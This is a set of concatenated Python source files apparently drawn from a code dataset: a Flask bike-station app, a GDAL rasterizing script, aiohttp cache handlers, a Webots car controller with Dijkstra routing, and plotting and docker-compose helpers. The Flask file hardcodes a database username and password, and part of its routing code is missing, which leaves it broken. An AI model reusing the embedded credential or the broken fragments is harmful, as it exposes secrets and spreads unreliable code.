\"mysql+pymysql://se12:software@dbbikes12.c5cm18ftdu4w.eu-west-1.rds.amazonaws.com:3306/dbbike12\"\n # set sqlalchemy track the data automatically\n SQLALCHEMY_TRACK_MODIFICATIONS = True\n \n\n# create an object\napp = Flask(__name__)\n\napp.config.from_object(Config)\n\ndb = SQLAlchemy(app)\n\nclass StationFix(db.Model):\n \"\"\"create a model class for station_fix(static data )\"\"\"\n __tablename__ = \"station_fix\"\n\n address = db.Column(db.String(256))\n number = db.Column(db.Integer, unique=True, primary_key=True)\n contract_name = db.Column(db.String(256))\n bonus = db.Column(db.String(256))\n position_lat = db.Column(db.Integer)\n position_lng = db.Column(db.Integer)\n station_relationship = db.relationship(\"Station\", backref=\"stationfix\")\n \n def to_dict(self):\n '''Convert the object into dictionary'''\n return {c.name: getattr(self, c.name) for c in self.__table__.columns}\n \n \nclass Station(db.Model):\n \"\"\"create an Model class for station(dynamic data )\"\"\"\n __tablename__ = \"station\"\n\n number = db.Column(db.Integer, db.ForeignKey(\"station_fix.number\"), unique=True, primary_key=True,)\n available_bikes = db.Column(db.Integer)\n available_bike_stands = db.Column(db.Integer)\n banking = db.Column(db.Integer)\n bike_stands = db.Column(db.Integer)\n status = db.Column(db.String(256))\n weather = db.Column(db.String(256))\n icon = db.Column(db.String(256))\n temperature = db.Column(db.String(256))\n humidity = db.Column(db.String(256))\n wind_speed = db.Column(db.String(256))\n future_weather = db.Column(db.String(256))\n future_temperature = db.Column(db.String(256))\n future_icon = db.Column(db.String(256))\n time = db.Column(db.String(256), unique=True, primary_key=True)\n\n\n def to_dict(self):\n '''Convert the object into dictionary'''\n return {c.name: getattr(self, c.name) for c in self.__table__.columns}\n\n\n#weather class,for future\n# class Weather(db.Model):\n \n\n# this route simply serves the map page\n@app.route('/')\ndef index():\n return render_template('HomePage.html')\n\n@app.route('/all_stations')\ndef show_map():\n return render_template('map.html')\n\n@app.route('/search')\ndef search_page():\n return render_template('Search.html')\n\n@app.route('/prediction')\ndef prediction_page():\n return render_template('Prediction.html')\n\n@app.route('/our_team')\ndef show_teaminfo():\n return render_template('OurTeam.html')\n\n#query all the station and return 'json' file \n@app.route(\"/stations\")\ndef get_all_stations():\n # query the database\n stations = StationFix.query.all()\n stations_recent = db.session.query(Station.number,Station.available_bikes,Station.available_bike_stands).order_by(Station.time.desc()).limit(113).all()\n station_li = []\n for station in stations:\n station = station.to_dict()\n for row in stations_recent:\n if station['number'] == row[0]:\n station['available_bikes']=row[1]\n station['available_bike_stands']=row[2]\n break\n station_li.append(station) \n return jsonify(stations=station_li)\n\n#query single station and return 'json' file )\n \n@app.route(\"/available/\") \ndef get_stations(station_id):\n station_recent = Station.query.filter_by(number=station_id).order_by(Station.time.desc()).first().to_dict()\n \n recent_time = datetime.datetime.strptime(station_recent['time'],\"%Y-%m-%d_%H:%M:%S\")+datetime.timedelta(hours=1)\n if recent_time\")\ndef get_weather(station_id):\n row = db.session.query(Station.weather, Station.icon, Station.temperature, Station.humidity, Station.wind_speed, Station.future_weather, Station.future_temperature, Station.future_icon, Station.time).filter_by(number=station_id).order_by(Station.time.desc()).first()\n return jsonify(station_wheather = row)\n\n@app.route(\"/predict\")\ndef predict():\n station_id = request.form.get('station')\n date = request.form.get('date')\n\n# aquire the 'dbbikes_model.pkl' last modified time and the current time,if they are the same day, system will not train the data again \n file_modify_time = get_FileModifyTime('dbbikes_model.pkl')\n now = TimeStampToTime(time.time())\n \n if now == file_modify_time:\n model = joblib.load(\"dbbikes_model.pkl\")\n else:\n rows = db.session.query(Station.number,Station.available_bikes,Station.available_bike_stands,Station.weather,Station.temperature,Station.time).filter(Station.weather.isnot(None)).order_by(Station.time.desc()).all()\n df = pd.DataFrame(rows,columns = ['number','available_bikes','available_bike_stands','weather','temperature','time'])\n predict_(df)\n model = joblib.load(\"dbbikes_model.pkl\")\n \n# df = create_predict_set(station_id, date)\n df = create_predict_set(station_id,date)\n prediction_data = model.predict(df)\n \n return jsonify(prediction_data = prediction_data )\n \n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","sub_path":"test/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"208955187","text":"import os\nimport utm\nfrom h3 import h3\nimport subprocess\nimport progressbar\nimport pandas as pd\nimport shapely.wkt as shw\nfrom geopandas import GeoDataFrame\nfrom shapely.geometry import Polygon\n\nwgs84 = False\ndebug = False\nlaz_downloads = os.path.join(os.getcwd(), 'downloads2L15csv')\nraster_path = os.path.join(os.getcwd(), 'L15Rasterization')\n# type_z = ['elevation', 'slope', 'aspect', 'upslope', 'twi']\ntype_z = ['elevation']\n\n\ndef run_cmd(cmd):\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n output, errors = p.communicate()\n if p.returncode != 0:\n print(cmd)\n print('\\tcombined output:', repr(output))\n print('\\tstderr:', repr(errors))\n\n\ndef main():\n files1 = set(f.split('.')[0] for f in os.listdir(laz_downloads) if f.endswith('.csv'))\n files2 = set(f.split('.')[0] for f in os.listdir(os.path.join(raster_path, type_z[0])) if f.endswith('.tif'))\n fs = sorted(list(files1 - files2))\n files = list(os.path.join(laz_downloads, str(f) + '.csv') for f in fs)\n for f in progressbar.progressbar(files):\n df = pd.read_csv(os.path.join(laz_downloads, f), sep=',', quotechar='\"')\n geom = list(list(shw.loads(wkt).exterior.coords)[0:-1] for wkt in df['wkt'])\n geometry = list()\n for ring in geom:\n line = list()\n for p in ring:\n pj = utm.from_latlon(p[1], p[0])\n line.append((pj[0], pj[1]))\n geometry.append(Polygon(line))\n crs = \"+proj=utm +zone=\" + str(df['zone_num'][0]) + \" +ellps=GRS80 +datum=NAD83 +units=m +no_defs\"\n geo_df = GeoDataFrame(df, crs=crs, geometry=geometry)\n lyr_name = os.path.basename(f).split('.')[0]\n shp_name, tif_name = str(lyr_name) + '.shp', str(lyr_name) + '.tif'\n shp_path = os.path.join(raster_path, shp_name)\n geo_df.to_file(driver='ESRI Shapefile', filename=shp_path)\n pixel_size = h3.edge_length(df['resolution'][0], 'm') / 5.0\n for zf in type_z:\n tif_path = os.path.join(raster_path, zf, tif_name)\n cmd = ['gdal_rasterize',\n '-a', zf,\n '-tr', str(pixel_size), str(pixel_size),\n '-a_nodata', 'none',\n '-l', lyr_name,\n shp_path,\n tif_path]\n run_cmd(cmd)\n if wgs84:\n cmd = ['gdalwarp',\n '-overwrite',\n tif_path,\n os.path.join(raster_path, 'wgs84', zf, tif_name),\n '-t_srs',\n 'EPSG:4326']\n run_cmd(cmd)\n if not debug:\n for ext in ['.cpg', '.dbf', '.prj', '.shp', '.shx']:\n os.remove(os.path.join(raster_path, str(lyr_name) + ext))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"rasterizing.py","file_name":"rasterizing.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"197176137","text":"import datetime\nimport json\n# import asyncio\nfrom aiohttp import web\nfrom settings import logger\nimport settings\nimport database\n\n\ndef json_serial(self, data):\n if isinstance(data, (datetime.datetime, tuple)):\n return data.__str__()\n return data\n\n\nasync def drop_cache(request):\n with (await database.distributors_cache_semaphore), (await database.distributors_semaphore):\n database.distributors = {}\n database.distributors_cache = {}\n return web.Response(status=200, text='OK')\n\n\nasync def show_cache(request):\n with (await database.distributors_cache_semaphore):\n # print(database.distributors_cache)\n response = {f'{k[0]} {k[1]} {k[2]}': {'name': v[0], 'cut': v[1], 'id': v[2]} for k, v in database.distributors_cache.items()}\n return web.Response(status=200, text=json.dumps(response), content_type='application/json')\n\n\nasync def smsc(request):\n \"\"\" Запрос СМС шлюза \"\"\"\n pool = request.app['postgres']\n phone = request.match_info['phone'][-10:]\n response = '{}'\n if (len(phone) == max(settings.PHONE_LENGTH)) and (phone[0] == '9'):\n smsc_gate, channel, sended, phone = await database.select_smsc(phone, pool)\n response = {'phone': phone, 'smsc': smsc_gate, 'channel': channel, 'sended': sended}\n return web.Response(status=200, text=json.dumps(response), content_type='application/json')\n\n\nasync def distributor(request):\n response = '{}'\n pool = request.app['postgres']\n phone = request.match_info['phone'][-10:]\n lock = int(request.match_info['lock']) != 0\n if len(phone) in settings.PHONE_LENGTH:\n distributor, phone = await database.select_distributor(phone, pool)\n logger.info(f'{phone} {distributor}')\n if lock:\n await database.distributors[distributor].acquire()\n response = {'phone': phone, 'distributor': distributor, 'locked': lock}\n return web.Response(status=200, text=json.dumps(response), content_type='application/json')\n\n\nasync def distributor_unlock(request):\n distributor = request.match_info['distributor'].lower()\n response = {'distributor': distributor}\n if distributor in database.distributors.keys():\n database.distributors[distributor].release()\n response.update({'result': 0, 'state': database.distributors[distributor].locked()})\n else:\n response.update({'result': 1})\n return web.Response(status=200, text=json.dumps(response), content_type='application/json')\n","sub_path":"distributor/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168098186","text":"\"\"\"This is only a template controller which simply drives the car forward\n\"\"\"\n\nfrom vehicle import Driver\nimport math\nfrom collections import defaultdict\nfrom heapq import *\nimport pandas as pd\n\ndriver = Driver()\n\n# An example of how you get a sensor and initialize it.\n# You are free to use all the sensors that comes with your car.\n# Check Sensor Slot fields on the vehicle in the left pane of Webots for available sensors.\n\nWORLD_TIME_STEP = 16 # This is already set in the world file.\nFRONT_LIDAR_REFRESH_RATE = 160\nRIGHT_LIDAR_REFRESH_RATE = 160\nLEFT_LIDAR_REFRESH_RATE = 160\nCAMERA_REFRESH_RATE = 32\n\ntop_lidar = driver.getLidar(\"Velodyne VLP-16\")\ntop_lidar.enable(FRONT_LIDAR_REFRESH_RATE)\ntop_lidar.enablePointCloud()\n\nright_lidar = driver.getLidar(\"Sick LMS 291 Right\")\nright_lidar.enable(RIGHT_LIDAR_REFRESH_RATE)\nright_lidar.enablePointCloud()\n\nleft_lidar = driver.getLidar(\"Sick LMS 291 Left\")\nleft_lidar.enable(LEFT_LIDAR_REFRESH_RATE)\nleft_lidar.enablePointCloud()\n\ncamera = driver.getCamera(\"camera\")\ncamera.enable(CAMERA_REFRESH_RATE)\n\ndef dijkstra_raw(edges, from_node, to_node):\n g = defaultdict(list)\n for l,r,c in edges:\n g[l].append((c,r))\n q, seen = [(0,from_node,())], set()\n while q:\n (cost,v1,path) = heappop(q)\n if v1 not in seen:\n seen.add(v1)\n path = (v1, path)\n if v1 == to_node:\n return cost,path\n for c, v2 in g.get(v1, ()):\n if v2 not in seen:\n heappush(q, (cost+c, v2, path))\n return float(\"inf\"),[]\n\ndef dijkstra(edges, from_node, to_node):\n len_shortest_path = -1\n ret_path=[]\n length,path_queue = dijkstra_raw(edges, from_node, to_node)\n if len(path_queue)>0:\n len_shortest_path = length\t\t## 1. Get the length firstly;\n ## 2. Decompose the path_queue, to get the passing nodes in the shortest path.\n left = path_queue[0]\n ret_path.append(left)\t\t## 2.1 Record the destination node firstly;\n right = path_queue[1]\n while len(right)>0:\n left = right[0]\n ret_path.append(left)\t## 2.2 Record other nodes, till the source-node.\n right = right[1]\n ret_path.reverse()\t## 3. Reverse the list finally, to make it be normal sequence.\n return len_shortest_path,ret_path\n\t\nlist_nodes_id = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16];\n\nM=99999\n\nM_topo = [\n[M, 1,M,M,1,M, M,M,M,M,M, M,M,M,M,M],\n[1, M,1,M,M,1, M,M,M,M,M, M,M,M,M,M],\n[M, 1,M,1,M,M, 1,M,M,M,M, M,M,M,M,M],\n[M, M,1,M,M,M, M,1,M,M,M, M,M,M,M,M],\n[1, M,M,M,M,1, M,M,1,M,M, M,M,M,M,M],\n[M, 1,M,M,1,M, 1,M,M,1,M, M,M,M,M,M],\n[M, M,1,M,M,1, M,1,M,M,1, M,M,M,M,M],\n[M, M,M,1,M,M, 1,M,M,M,M, 1,M,M,M,M],\n[M, M,M,M,1,M, M,M,M,1,M, M,1,M,M,M],\n[M, M,M,M,M,1, M,M,1,M,1, M,M,1,M,M],\n[M, M,M,M,M,M, 1,M,M,1,M, 1,M,M,1,M],\n[M, M,M,M,M,M, M,1,M,M,1, M,M,M,M,1],\n[M, M,M,M,M,M, M,M,1,M,M, M,M,1,M,M],\n[M, M,M,M,M,M, M,M,M,1,M, M,1,M,1,M],\n[M, M,M,M,M,M, M,M,M,M,1, M,M,1,M,1],\n[M, M,M,M,M,M, M,M,M,M,M, 1,M,M,1,M],\n]\n\ndataset = pd.read_csv('plan.csv')\nX = dataset.iloc[:, 0:2].values\ninitial = X[0,0]\nstart = X[0,1]\ngoal = X[1,0]\nfinal = X[1,1]\n\nif start == 1 and final == 1:\n if initial == 2 and goal == 5:\n Shortest_path = [1,5,9,10,6,5]\n elif initial == 5 and goal == 2:\n Shortest_path = [1,2,3,7,6,2]\nelif initial == 1 and goal == 1:\n if start == 2 and final == 5:\n Shortest_path = [2,3,7,6,2,1]\n elif start == 5 and final == 2:\n Shortest_path = [5,9,10,6,5,1]\nelif start == 4 and final == 4:\n if initial == 3 and goal == 8:\n Shortest_path = [4,8,12,11,7,8]\n elif initial == 8 and goal == 3:\n Shortest_path = [4,3,2,6,7,3]\nelif initial == 4 and goal == 4:\n if start == 3 and final == 8:\n Shortest_path = [3,2,6,7,3,4]\n elif start == 8 and final == 3:\n Shortest_path = [8,12,11,7,8,4]\nelif start == 13 and final == 13:\n if initial == 9 and goal == 14:\n Shortest_path = [13,14,15,11,10,14]\n elif initial == 14 and goal == 9:\n Shortest_path = [13,9,5,6,10,9]\nelif initial == 13 and goal == 13:\n if start == 9 and final == 14:\n Shortest_path = [9,5,6,10,9,13]\n elif start == 14 and final == 9:\n Shortest_path = [14,15,11,10,14,13]\nelif start == 16 and final == 16:\n if initial == 12 and goal == 15:\n Shortest_path = [16,15,14,10,11,15]\n elif initial == 15 and goal == 12:\n Shortest_path = [16,12,8,7,11,12]\nelif initial == 16 and goal == 16:\n if start == 12 and final == 15:\n Shortest_path = [12,8,7,11,12,16]\n elif start == 15 and final == 12:\n Shortest_path = [15,14,10,11,15,16]\nelse:\n M_topo[final - 1][goal - 1] = M\n M_topo[goal - 1][final - 1] = M\n M_topo[start - 1][initial - 1] = M\n edges = []\t\n for i in range(len(M_topo)):\n for j in range(len(M_topo[0])):\n if M_topo[i][j]!=M:\n edges.append((i + 1,j + 1,M_topo[i][j]))\n length,Shortest_path = dijkstra(edges, start, goal)\n\naction = [None]*len(Shortest_path)# 1 means staright ,2 means turn left, 3 means turn right\nheading = [None]*(len(Shortest_path)+1) # 1 means up, 2 means down, 3 means left ,4 means right\n\nif start - initial == -4:\n heading[0] = 1 # 1 means up\nelif start - initial == 4:\n heading[0] = 2 # 2 means down\nelif start - initial == -1:\n heading[0] = 3 # 3 means left\nelif start - initial == 1:\n heading[0] = 4 # 4 means right \n\nif len(Shortest_path) >= 2:\n for i in range(1,len(Shortest_path)):\n if heading[i - 1] == 1:\n if Shortest_path[i] - Shortest_path[i - 1] == -1:\n action[i - 1] = 2 # turn left\n heading[i] = 3\n elif Shortest_path[i] - Shortest_path[i - 1] == -4:\n action[i - 1] = 1 #straight\n heading[i] = 1\n elif Shortest_path[i] - Shortest_path[i - 1] == 1:\n action[i - 1] = 3 # turn right\n heading[i] = 4\n elif heading[i - 1] == 2:\n if Shortest_path[i] - Shortest_path[i - 1] == -1:\n action[i - 1] = 3 # turn right\n heading[i] = 3\n elif Shortest_path[i] - Shortest_path[i - 1] == 4:\n action[i - 1] = 1 #straight\n heading[i] = 2\n elif Shortest_path[i] - Shortest_path[i - 1] == 1:\n action[i - 1] = 2 # turn left\n heading[i] = 4\n elif heading[i - 1] == 3:\n if Shortest_path[i] - Shortest_path[i - 1] == -1:\n action[i - 1] = 1 # straight\n heading[i] = 3\n elif Shortest_path[i] - Shortest_path[i - 1] == -4:\n action[i - 1] = 3 # turn right\n heading[i] = 1\n elif Shortest_path[i] - Shortest_path[i - 1] == 4:\n action[i - 1] = 2 # turn left\n heading[i] = 2\n elif heading[i - 1] == 4:\n if Shortest_path[i] - Shortest_path[i - 1] == 1:\n action[i - 1] = 1 # straight\n heading[i] = 4\n elif Shortest_path[i] - Shortest_path[i - 1] == -4:\n action[i - 1] = 2 # turn left\n heading[i] = 1\n elif Shortest_path[i] - Shortest_path[i - 1] == 4:\n action[i - 1] = 3 # turn right\n heading[i] = 2\n \n if final - goal == -4:\n heading[len(Shortest_path)] = 1 # 1 means up\n if goal - Shortest_path[len(Shortest_path) - 2] == 1:\n action[len(Shortest_path) - 1] = 2 # turn left\n elif goal - Shortest_path[len(Shortest_path) - 2] == -1:\n action[len(Shortest_path) - 1] = 3 # turn right\n elif goal - Shortest_path[len(Shortest_path) - 2] == -4:\n action[len(Shortest_path) - 1] = 1 # straight\n elif final - goal == 4:\n heading[len(Shortest_path)] = 2 # 2 means down\n if goal - Shortest_path[len(Shortest_path) - 2] == 1:\n action[len(Shortest_path) - 1] = 3 # turn right\n elif goal - Shortest_path[len(Shortest_path) - 2] == -1:\n action[len(Shortest_path) - 1] = 2 # turn left\n elif goal - Shortest_path[len(Shortest_path) - 2] == 4:\n action[len(Shortest_path) - 1] = 1 # straight\n elif final - goal == -1:\n heading[len(Shortest_path)] = 3 # 3 means left\n if goal - Shortest_path[len(Shortest_path) - 2] == -1:\n action[len(Shortest_path) - 1] = 1 # staright\n elif goal - Shortest_path[len(Shortest_path) - 2] == 4:\n action[len(Shortest_path) - 1] = 3 # turn right\n elif goal - Shortest_path[len(Shortest_path) - 2] == -4:\n action[len(Shortest_path) - 1] = 2 # turn left\n elif final - goal == 1:\n heading[len(Shortest_path)] = 4 # 4 means right\n if goal - Shortest_path[len(Shortest_path) - 2] == 1:\n action[len(Shortest_path) - 1] = 1 # staright\n elif goal - Shortest_path[len(Shortest_path) - 2] == 4:\n action[len(Shortest_path) - 1] = 2 # turn left\n elif goal - Shortest_path[len(Shortest_path) - 2] == -4:\n action[len(Shortest_path) - 1] = 3 # turn right\n \nif len(Shortest_path) == 1:\n if heading[0] == 1:\n if final - goal == -4:\n heading[1] = 1\n action[0] = 1\n elif final - goal == -1:\n heading[1] = 3\n action[0] = 2\n elif final - goal == 1:\n heading[1] = 4\n action[0] = 3\n elif heading[0] == 2:\n if final - goal == 4:\n heading[1] = 2\n action[0] = 1\n elif final - goal == -1:\n heading[1] = 3\n action[0] = 3\n elif final - goal == 1:\n heading[1] = 4\n action[0] = 2\n elif heading[0] == 3:\n if final - goal == -4:\n heading[1] = 1\n action[0] = 3\n elif final - goal == -1:\n heading[1] = 3\n action[0] = 1\n elif final - goal == 4:\n heading[1] = 2\n action[0] = 2\n elif heading[0] == 4:\n if final - goal == -4:\n heading[1] = 1\n action[0] = 2\n elif final - goal == 1:\n heading[1] = 4\n action[0] = 1\n elif final - goal == 4:\n heading[1] = 2\n action[0] = 3\n \nprint ('The shortest path is ',Shortest_path)\nprint ('heading',heading)\nprint ('action',action)\n\ncurrent_time_ms = 0\nk = 0 # the number of intersections that the vehicle have countered\nstate = 1 # the original state of the car is driving straightly\nd_left_mean = 0\nd_right_mean = 0\nflag = 2\ntime = 0\n\nwhile driver.step() != -1: # This is your control loop. Every step means 16ms has passed in the simulation.\n# The following is only an example starting point. Feel free to change the way you read the sensors. (Check Webots Reference Manual)\n current_time_ms = current_time_ms + WORLD_TIME_STEP\n if current_time_ms % FRONT_LIDAR_REFRESH_RATE == 0:\n # I choose the 11th layer of the top lidar\n top_lidar_layer_11 = top_lidar.getLayerPointCloud(10)\n d = 0\n\n # choose the 1600th to 1999th(front) lidar point of the top lidar\n # use all the choosed lidar points' x and z to calculate the average 2D distance to lidar\n # this is used to avoid colliding with the front obstacles\n for i in range(0,399):\n d = d + math.sqrt((top_lidar_layer_11[i+1600].x) ** 2 + (top_lidar_layer_11[i+1600].z) ** 2) \n d_mean = d / 400\n \n if current_time_ms % RIGHT_LIDAR_REFRESH_RATE == 0:\n right_lidar_layer = right_lidar.getLayerPointCloud(0); # This lidar is a single-layer lidar. \n d_right = 0\n \n # choose the 70th to 89th lidar point of the right lidar\n # use all the choosed lidar points' x and z to calculate the average 2D distance to lidar\n # this is used to detect the intersection\n for j in range(70,90):\n d_right = d_right + math.sqrt((right_lidar_layer[j].x) ** 2 + (right_lidar_layer[j].z) ** 2)\n d_right_mean = d_right / 20\n \n\n if current_time_ms % LEFT_LIDAR_REFRESH_RATE == 0:\n left_lidar_layer = left_lidar.getLayerPointCloud(0); # This lidar is a single-layer lidar.\n d_left = 0\n \n # choose the 90th to 110th lidar point of the left lidar\n # use all the choosed lidar points' x and z to calculate the average 2D distance to lidar\n # this is used to detect the intersection\n for l in range(90,110):\n d_left = d_left + math.sqrt((left_lidar_layer[l].x) ** 2 + (left_lidar_layer[l].z) ** 2)\n d_left_mean = d_left / 20\n \n if d_left_mean - d_right_mean > 3:\n state = 4\n elif d_right_mean - d_left_mean > 1:\n state = 5\n else:\n state = 1\n \n if d_left_mean < 1:\n state = 5\n elif d_right_mean < 1:\n state = 4\n \n if flag == 1:\n flag = 0\n \n # the action when the vehicle is at the intersection\n if d_left_mean + d_right_mean > 10:\n if k < len(action):\n state = action[k]\n if state == 1 and d_right_mean - d_left_mean > 18:\n state = 4\n flag = 1\n \n if flag == 0:\n k = k + 1\n time = current_time_ms\n flag = 2\n \n if k >= len(action):\n state = 6\n \n #if current_time_ms % FRONT_LIDAR_REFRESH_RATE == 0:\n #print(\"left\",d_left_mean)\n #print(\"right\",d_right_mean)\n #print(\"state\",state)\n #print(\"flag\",flag)\n #print(\"k\",k)\n \n #to make sure the vehicle has already crossed the intersection\n #if current_time_ms - time >640\n #k = k + 1 会导致k不停的增加\n \n # when there is no obstacle or barrier which is quite close to the car,state = 0\n if state == 1: \n driver.setCruisingSpeed(20.0) \n driver.setBrakeIntensity(0)\n driver.setSteeringAngle(0.0)\n # the vehichle is at the intersection and needs to turn left \n elif state == 2:\n driver.setCruisingSpeed(10.0)\n driver.setBrakeIntensity(0.5)\n driver.setSteeringAngle(-0.4)\n # the vehicle is at the intersection and needs to turn right\n elif state == 3:\n driver.setCruisingSpeed(10.0)\n driver.setBrakeIntensity(0.5)\n driver.setSteeringAngle(0.4)\n # the vehicle is quite close to the barrier on its right\n elif state == 4:\n driver.setCruisingSpeed(15.0)\n driver.setBrakeIntensity(0.0)\n driver.setSteeringAngle(-0.2)\n # the vehicle is quite close to the barrier on its left\n elif state == 5:\n driver.setCruisingSpeed(15.0)\n driver.setBrakeIntensity(0.0)\n driver.setSteeringAngle(0.2)\n # the vehicle is near the goal\n else:\n driver.setCruisingSpeed(0.0)\n driver.setBrakeIntensity(0.0)\n driver.setSteeringAngle(0.0)\n","sub_path":"Pro1/project/controllers/milestone2_part1_controller/milestone2_part1_controller.py","file_name":"milestone2_part1_controller.py","file_ext":"py","file_size_in_byte":14863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"35276969","text":"import numpy as np\nimport subprocess\nfrom dataportal import DataBroker, DataMuxer\nfrom dataportal.broker import EventQueue\nimport matplotlib.pyplot as plt\nimport time as ttime\nimport sys\nfrom ophyd.userapi.scan_api import estimate\n\ndef new_queue(header, queue=None):\n if queue is None:\n queue = EventQueue(header)\n return header, queue\n hdr = DataBroker[-1]\n if header.scan_id != hdr.scan_id:\n print(\"New header found: Scan id = %s. uid = %s\" % \n (hdr.scan_id, hdr.run_start_uid))\n sys.stdout.flush()\n queue = EventQueue(hdr)\n return hdr, queue\n return header, queue\n\nvlines = {'center_of_mass': {'color': 'red'},\n 'cen': {'color': 'red', 'ls': '--'},}\nhlines = {'avgy': {'color': 'blue', 'ls': '-'}, \n 'ymin': {'color': 'black', 'ls': '--'}, \n 'ymax': {'color': 'black', 'ls': '--'}, }\npoints = {'cen': {'color': 'red', 'marker': 'o'},\n 'fwmh_left': {'color': 'red', 'marker': '<'}, \n 'fwhm_right': {'color': 'red', 'marker': '>'}}\n \ndef plot1d(y, x=None, scans=None, live=True, sleep_time=1):\n \"\"\"Plot live data and on-the-fly peak stats estimator\n\n Parameters\n ----------\n y : str\n The name of the y value to plot\n x : str, optional\n The name of the value to plot on the x axis. If None, defaults \n to the sequence number of the event (Note that this probably works, \n but I'm not sure as it has not been tested!)\n scans : list, optional\n List of other scan indices to plot. uses db[] syntax, so any valid\n entry to [] will work\n live : bool, optional\n Grab new data and plot it as it comes off. Defaults to True.\n sleep_time : float, optional\n Time to sleep between data updates. Defaults to 1 sec\n \"\"\"\n if scans is None:\n scans = []\n lines1 = {}\n fig, (ax1, ax2) = plt.subplots(nrows=2, figsize=(15,10), sharex=True)\n fig.show()\n for scan_id in scans:\n hdr = DataBroker[scan_id]\n events = DataBroker.fetch_events(hdr)\n dm = DataMuxer.from_events(events)\n df = dm.to_sparse_dataframe()\n if x is None:\n old_x = np.asarray(df.index)\n else:\n old_x = np.asarray(df[x])\n old_y = np.asarray(df[y])\n lines1[scan_id], = ax1.plot(old_x, old_y, 'o', ms=15, label=scan_id)\n if x is None:\n ax1.set_xlabel('scan point index')\n ax2.set_xlabel('scan point index')\n else:\n ax1.set_xlabel(x)\n ax2.set_xlabel(x)\n ax1.set_ylabel(y)\n ax2.set_ylabel(y)\n ax1.set_title('data stream')\n ax2.set_title('peak estimator')\n\n if live:\n hdr = DataBroker[-1]\n scan_id = hdr.scan_id\n while scan_id in lines1:\n ttime.sleep(.5)\n hdr = DataBroker[-1]\n scan_id = hdr.scan_id\n lines1[scan_id], = ax1.plot([], [], 'o', ms=15, label=scan_id)\n queue = None\n prev_stats = None\n while True:\n # loop until killed\n hdr, queue = new_queue(hdr, queue)\n scan_id = hdr.scan_id\n queue.update()\n new_events = queue.get()\n try:\n old_x, old_y = lines1[scan_id].get_data()\n old_x = list(old_x)\n old_y = list(old_y)\n except KeyError:\n lines1[scan_id], = ax1.plot([], [], 'o', ms=15, label=scan_id)\n old_x, old_y = [], []\n if x is None:\n new_x = [event.seq_num for ev in new_events]\n else:\n new_x = [ev['data'][x] for ev in new_events]\n new_y = [ev['data'][y] for ev in new_events]\n new_x = old_x + new_x\n new_y = old_y + new_y\n lines1[scan_id].set_data(new_x, new_y)\n ax1.relim(visible_only=True)\n ax1.legend(loc=0).draggable()\n \n # now deal with axis 2\n try:\n stats = estimate(np.asarray(new_x), np.asarray(new_y))\n except ValueError:\n stats = prev_stats\n # print(stats)\n if stats != prev_stats:\n ax2.cla()\n ax2.plot(new_x, new_y, 'o', ms=15, label=scan_id)\n ax2.set_title('peak estimator')\n for stat, vals in stats.items():\n if stat in points:\n # sometimes 'cen' comes back as one or two values. This\n # try/except block is a way to do the right thing when \n # this happens\n try:\n vals[0]\n ax2.scatter(vals[0], vals[1], label=stat, **points[stat])\n except IndexError:\n ax2.axvline(vals, label=stat, **vlines[stat])\n elif stat in hlines:\n # draw a horizontal line\n ax2.axhline(vals, label=stat, **hlines[stat])\n elif stat in vlines:\n # draw a vertical line\n ax2.axvline(vals, label=stat, **vlines[stat])\n prev_stats = stats\n ax2.relim(visible_only=True)\n ax2.legend(loc=0).draggable()\n fig.canvas.draw()\n fig.canvas.flush_events()\n ttime.sleep(sleep_time)\n\n","sub_path":"chxtools/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":5392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"7393376","text":"\n\nfrom xai.brain.wordbase.nouns._diesel import _DIESEL\n\n#calss header\nclass _DIESELS(_DIESEL, ):\n\tdef __init__(self,): \n\t\t_DIESEL.__init__(self)\n\t\tself.name = \"DIESELS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"diesel\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_diesels.py","file_name":"_diesels.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586841479","text":"from copy import deepcopy\nfrom typing import Any, Dict, Optional\n\nimport yaml\nfrom fastapi.applications import FastAPI\nfrom models_library.service_settings_labels import ComposeSpecLabel, PathMappingsLabel\nfrom pydantic import PositiveInt\n\nfrom ...core.settings import DynamicSidecarSettings\nfrom .docker_service_specs import MATCH_SERVICE_VERSION, MATCH_SIMCORE_REGISTRY\n\nCONTAINER_NAME = \"container\"\nBASE_SERVICE_SPEC: Dict[str, Any] = {\n \"version\": \"3.8\",\n \"services\": {CONTAINER_NAME: {}},\n}\n\n\ndef _inject_traefik_configuration(\n service_spec: Dict[str, Any],\n target_container: str,\n dynamic_sidecar_network_name: str,\n simcore_traefik_zone: str,\n service_port: PositiveInt,\n) -> None:\n \"\"\"Injects configuration to allow the service to be accessible on the uuid.services.SERVICE_DNS\"\"\"\n\n # add external network to existing networks defined in the container\n service_spec[\"networks\"] = {\n dynamic_sidecar_network_name: {\n \"external\": {\"name\": dynamic_sidecar_network_name},\n \"driver\": \"overlay\",\n }\n }\n\n # Inject Traefik rules on target container\n target_container_spec = service_spec[\"services\"][target_container]\n\n # attach overlay network to container\n container_networks = target_container_spec.get(\"networks\", [])\n container_networks.append(dynamic_sidecar_network_name)\n target_container_spec[\"networks\"] = container_networks\n\n # expose spawned container to the internet\n labels = target_container_spec.get(\"labels\", [])\n labels.extend(\n [\n f\"io.simcore.zone={simcore_traefik_zone}\",\n \"traefik.enable=true\",\n f\"traefik.http.services.{target_container}.loadbalancer.server.port={service_port}\",\n f\"traefik.http.routers.{target_container}.entrypoints=http\",\n 